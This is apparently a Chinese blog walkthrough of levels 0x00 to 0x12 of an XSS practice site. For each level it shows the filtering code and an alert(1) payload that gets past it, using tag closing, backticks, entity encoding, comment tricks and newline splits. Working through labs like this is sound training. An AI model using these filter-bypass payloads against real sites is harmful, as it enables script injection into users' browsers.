XSS注入<二>

xss练习平台地址:https://xss.haozi.me/

过关的条件依旧是弹窗alert(1)

这里的题基本都是反射性xss,针对过滤代码的绕过,算是专项训练吧,而且基本上都是正则表达式的过滤,做之前要熟悉正则表达式再做会简单很多,整体上不算难,可以练习下!

正则表达式视频教程:https://www.bilibili.com/video/av37494327/?p=28有4个课时,讲的很详细

0x00

1
2
3
function render (input) {
return '<div>' + input + '</div>'
}

没有任何过滤,payload:

1
<script>alert(1)</script>

0x01

1
2
3
function render (input) {
return '<textarea>' + input + '</textarea>'
}

多了一个< textarea>标签,那就闭合掉就行了,payload:

1
</textarea><script>alert(1)</script>

0x02

1
2
3
function render (input) {
return '<input type="name" value="' + input + '">'
}

在input标签中,闭合掉<input>标签或闭合value属性的双引号就行了,很简单,payload:

1
"><script>alert(1)</script>或"onmouseover="alert(1)"

0x03

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}

可以看到过滤了圆括号被替换成了空格,但是仍然可以使用反引号执行,payload:

1
<script>alert`1`</script>

0x04

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}

这次连反引号也被过滤了,但是<svg>标签中可以直接执行实体字符 ,把()转成unicode,还有iframe的srcdoc属性,srcdoc里的代码会作为iframe中的内容显示出来,srcdoc中可以直接去写转译后的html片段,payload:

1
<svg><script>alert&#40;1&#41;</script><iframe srcdoc="<script>alert&#40;1&#41;</script>">(不过这个好像可以弹出来个1的窗口但没有过关)

0x05

1
2
3
4
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}

可以看到return后是个注释符,而html中有两种注释方式,分别是

1
<!-- xxx --><!- xxx -!>

所以这题可以使用第二种注释闭合掉前面的注释符,payload:

1
--!><script>alert(1)</script>

0x06

1
2
3
4
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}

有个正则匹配过滤了auto,on开头以=为结尾的和>并将其换成了’_‘,且xss代码在value=1后面所以可以构造一个type为图片而图片内容alert(1)但是onerror=被过滤了,不过可以通过换行绕过正则检测,payload:

1
2
type="image" src="1" onerror
="alert(1)"

0x07

1
2
3
4
5
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}

正则匹配过滤了尖括号 <>开头结尾的字符串并替换为空,可以通过少输入一个>来绕过正则,payload:

1
<img src="1" onerror="alert(1)"

0x08

1
2
3
4
5
6
7
8
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}

源代码中将</style>过滤成了后面那部分,${src}在<style></style>中间,这样就可以防止闭合,但是可以加一个空格或回车来绕过正则过滤,payload:

1
2
</style
><script>alert(1)</script></style ><script>alert(1)</script>

0x09

1
2
3
4
5
6
7
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}

第二行正则表达式意思是匹配 https://www.segmentfault.com 开头的字符串,闭合第一个script,最后加上//注释掉后面的语句,payload:

1
https://www.segmentfault.com"></script><script>alert(1)</script>//

0x10

1
2
3
4
5
6
7
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}

没有过滤而且是在<script>中执行的,所以payload:

1
alert(1)

0x11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}

可以看到过滤了很多符号,这题需要闭合${s}前的双引号,而"被过滤为 \\" 但不影响闭合,payload:

1
");alert(1)//或");alert(1)("

0x12

1
2
3
4
5
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}

直接闭合最前面的 <script> ,然后创造一个新的 <script> 执行 alert(1) 就行了,payload:

1
</script><script>alert(1)</script>

还有几道题我没有写,感兴趣的可以看下。

有个综合一点的练习xss平台:http://test.xss.tv/

我上篇博客写的就是这个平台的题,做的时候可以看下哦!xss注入<一>

参考文章:https://comicalt.github.io/2018/08/13/xss/